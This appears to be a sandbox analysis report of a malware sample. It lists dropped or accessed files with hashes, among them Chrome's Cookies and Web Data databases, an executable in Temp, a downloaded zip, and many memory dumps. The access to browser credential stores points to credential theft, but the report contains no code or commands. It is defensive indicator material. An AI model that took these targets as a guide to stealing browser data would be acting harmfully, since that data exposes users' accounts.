Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\2efc4691-60f3-404d-a7a8-64412cd90e6f.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

71b7db59-4d61-4fd8-9748-f020fef2b83d.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\71b7db59-4d61-4fd8-9748-f020fef2b83d.tmp
Size 2KB
SHA256 79e590ac91d9b82ed89d36137f27e5e23b45f162779b68659d2e9248d18f5070
MD5 d238fa428311acadd4ec6911e1b1a4fa
SHA1 ef5e481366f4c744ca0bfdf630d05d4eacfdd7e3
SHA512 ff97375fe605d848f6cd33b9131bfcf908e2cdd7fb7c19f8ec566ac94d572c56c0ef370facb934972ee5181b83d14fcf6a481f728db3ad640253de948c49ce20
TLSH
T1A551ACF783E49A7DC92196F49B146E2FCE6A0524531C3C2AC8D4BE5B53E2872E20174E
MD5 SHA1 SHA512 TLSH

Submit Download

8d5afb93-6876-4017-b853-1317e2065c8c.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\8d5afb93-6876-4017-b853-1317e2065c8c.tmp
Size 690B
SHA256 556ff33641f54a30f629d0a5be6e039237928ed54392b4b46c7a3f88a64761b4
MD5 1c8d201fbd1c34c86cfff7ff92d13c19
SHA1 c6fa117ead6fe1c03c342c7cbce912ed6bf474c2
SHA512 e1e8e7c2852cfdeb35088c7d84e25d6f6ee22c65972b689ee5aca1a99e2447d34ae7dbfa5b71b0534ee3bcbe9076d3b5e984813f066f1881f0986a55fb138360
TLSH
T1FA017BD7D3BAB46F50BA89F72D057905297274311241A4E4CE5AD33DA0818F31F1706B
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Size 20KB
SHA256 7175a2e102dd6521252f2b024e34b5b98f1257127a60f153e0d909c7f4139bb0
MD5 58987c44e7e5e8f3f67d9a296f306f64
SHA1 522860ce396da6d1e3c5edd2d1d9f6a052245d0f
SHA512 6d240825c5e008ecf2b51be74153ca086a5dd04570446e3067e8e57bf4967b47be9a41755a582400b95db76e36ff887d549abfde735e71103338757b12b221de
SSDEEP 24:TL/91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBnwd5oXCjn3PfjrJKlU6j:Tb9aw/aHLopFMavU1iBwHVrXJn8
TLSH
T1A492EF8F1F303214C4F4C636E8C24A976E7C226C93176A89EE5454F38CD28ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 a2a16207987d638faf200c1d4cb9ad030f008ad697e2caf40e2abab0f292cc63
MD5 b78c295a3307b76abac7a2dd5d55f206
SHA1 3478f37cc6ceb5b94ef3d3c747c87709bbacadec
SHA512 463e353a6dbf07c929e2fcda8bd88425d019c30a58218d5993ed5a9020c166902a26905bd3f9cd94338646406b09fd05b99f9d70b97025d2e5d84e0b1a5b1f1e
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OrnpX60HVfqgVumBwkn8in:jeuvBnhJsueMEGvIW1DcP2OrBhVumBnF
TLSH
T1CED3874B3A743002DDE58A726CF050BB5E3CB16D8F55A5D428B620688EF2953A23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b877f2ed-505c-4f6b-be03-13b7379dfa77.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\b877f2ed-505c-4f6b-be03-13b7379dfa77.tmp
Size 12KB
SHA256 93348843321a43d9ae3f497e071132989b1745261c6bab522fd744445d52e1e3
MD5 ccd99e241805b1b4858eee9f4cd1a0d0
SHA1 8275d1ec86eee4f237805d036459841e570cb5de
SHA512 710c5fd34ad07f1aeec7409ef6cacc785e59782556d0d8f5e8c9d34bf31e8664daf93d25c4bbfcf434d6d4d873fa38452555cf357f8ce7c8d94325870b99795f
SSDEEP 192:xBRMFyAw9ev7dvAPRp2tK9JHsb+WNnRxiVXU2tdi2em9kwmVyIsnAUge:xBRMklap6X3HwREa2tk2em9ee
TLSH
T1F642A36EEE20793B9CDFC219E9617B53D6F5102171912E84EAFC892C24E75CE222740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c4f176e7-64ca-456a-92b7-05955893f4b8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\c4f176e7-64ca-456a-92b7-05955893f4b8.tmp
Size 11KB
SHA256 b02a7a140b03e59bce11500225c2a8f7c95191067a5834f0adc31294f1be5527
MD5 1e5438eb89d255376c8f2e39f43a143c
SHA1 05a1c1d4fb615a86b80678cc2b2362432bdcdbfb
SHA512 1f5c3f61ac75bb09db5f83c61fc1d61a3ec6c0aed9da22eae347eda33c0d4a3a4ce1b057fe0e6a1bc3082cbd90b9c3ff9fa07d221d4e8e5b8738a4ac06d17ee5
SSDEEP 192:ezI4K6i47KxkXqK4I40pUZNCgVLHrKHfFKslEe75XzKD/dY+ErUkKN9/qSXnhHpi:uIj147KxkXqKf/pUZNCgVLH2HfgslT5x
TLSH
T19932E727A48D9E3F4FDCD50DCC126F8BACF4429663680D2852FB9D0803A578E515A5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
Size 106B
SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
MD5 de9ef0c5bcc012a3a1131988dee272d8
SHA1 fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA512 cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
TLSH
T1AAB0112033FC0228F3F38200AE333BA00F3FF8230000022CA008228808B38288880FB3
MD5 SHA1 SHA512 TLSH

Submit Download

ff37f70a-7e6b-44ab-a214-9b0219a30797.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ff37f70a-7e6b-44ab-a214-9b0219a30797.tmp
Size 5KB
SHA256 75e21440e52f2a7d70a41672679b7bfa81866e7ef8002c4f6fc8af86ca2e8bc0
MD5 0b6813bbd6a83082c94a646112771a5a
SHA1 514ef3b3e7c4bd2b9d19b38659c6587a6d1a5b89
SHA512 b02dcdc24a5df92a7f2aacf6829f9a5687288ae4a47ca350015965a395714576afa2febd32b02d73f08ba89256caa2a93f5acc569827e537de6fd7cc66011782
SSDEEP 96:sC0d+qw+CWJKhPPf36v3tzGZSl8h4otop5SQvYDiB6CGyvr7jAixwzFW/2Kc0r0V:sC0h2WJii5GfiU21uiCqj9x7/2Kc0rUL
TLSH
T1F2C11BB1E47D6C7B46F3DB41B4132903CEB426AFA6147E54E6D91E1900FB1EE2342A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e5a447c0.exe

Path C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe
Size 1.7MB
SHA256 9f63afa87f638e54379c1b2d0980348936a7c40eb3039a294be96663d0a854bc
MD5 b536f177bf311a62481c4910b47f028f
SHA1 6d4c414666b1dece2901a9d450d9a6890f6a4764
SHA512 38f2f09bc46d14fac8e9accd1943090e3670d5acb2d678fa59e84bd063d8ca119f17706151bfd3cc21ec3e6db3624f3e5a5ded80ad6406feac85f970dbde6462
SSDEEP 24576:al3ybOLv6wAVqAxZEknq4qJ9fJBOUfR2ccsu93GrugWHGlDDTZScDUCdBuDZUgiR:yy/pfq/hXf9uUrYHWZ3DFTeZcw
TLSH
T1E9853367F59429C0CE6EAC3B852D1C5574B03C48C764BEBB563D31720F2AE2529B8C36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DvnX.zip

Path C:\Users\Admin\Downloads\DvnX.zip
Size 11.3MB
SHA256 a4c4d4e645546d6fa4c28c4d78f84004de0b209d688ecd7927d46a2e62ff3fcd
MD5 a44408e4f88307f1deec199ce279f502
SHA1 b65f02496fbf85c78c2b8068c8ee38701eee896e
SHA512 c6169482515d312dbf578599e78b2036e7a993c5a006188f030ae9761acef74f6e33308cc3bafecd64bac0b4c286a3b08433eb96984983b24efc4bc13fefb4f4
SSDEEP 196608:t68yVOeUBGF9rFRwkiEjP7QGqJwp55Ay3PuTAubc4LW2SpNGrIYQt4WCP1j2mBL8:tXyV9H9CGN5ay/9ubcb2SpNGSrk228
TLSH
T1FDC63318B8D55B0BF40FCEF4B3136BC7B305B1CA066FA65A954B131E8CA18C8B59B2D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d1b1f923-851e-437c-bfa8-67b59a3f4c0c.tmp

Path C:\Users\Admin\Downloads\d1b1f923-851e-437c-bfa8-67b59a3f4c0c.tmp
Size 4KB
SHA256 eecbf9090799027ef8ee84b742ea218f0e6e12e71f034951d9d37594bdaa2201
MD5 f59a1cf2630803a99a6785581dd5bedc
SHA1 d887ecaadce4087f92f5d8cfe2595ea2b654850c
SHA512 fbc4cada9d6811f7bafe398a8eb67492d81b9069f6f79ff1e7aabdacd1da1d2e2c32411e07c4b91f1011790350f80cbdec93395abf2db2fd45c7ae8b5a0c43e4
SSDEEP 96:KxFZCsuZlIf6wypQIaFMst1PZfz5g2oJ1q9ultCU/f+:KxFZMU62dfziZlt5/f+
TLSH
T12A817EF6515A7CDCE1660FB6CE299E9F2CD8BCC77CCC07BE191714A3110E2A558A41AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2696-307-0x0000018D94EF0000-0x0000018D9512B000-memory.dmp

Download

memory/2696-335-0x0000018D94EF0000-0x0000018D9512B000-memory.dmp

Download

memory/2696-336-0x00007FF719E40000-0x00007FF71A00B000-memory.dmp

Download

memory/4656-280-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-267-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-286-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-284-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-288-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-289-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-279-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-278-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-277-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-276-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-275-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-274-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-273-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-271-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-269-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-270-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-268-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-287-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-290-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-291-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-292-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-272-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-282-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-297-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-261-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-301-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-300-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-299-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-302-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-266-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-306-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-263-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-265-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/4656-264-0x000001D14DA20000-0x000001D14DABF000-memory.dmp

Download

memory/5184-321-0x00007FF719E40000-0x00007FF71A00B000-memory.dmp

Download

memory/5184-316-0x0000026DA4820000-0x0000026DA4A5B000-memory.dmp

Download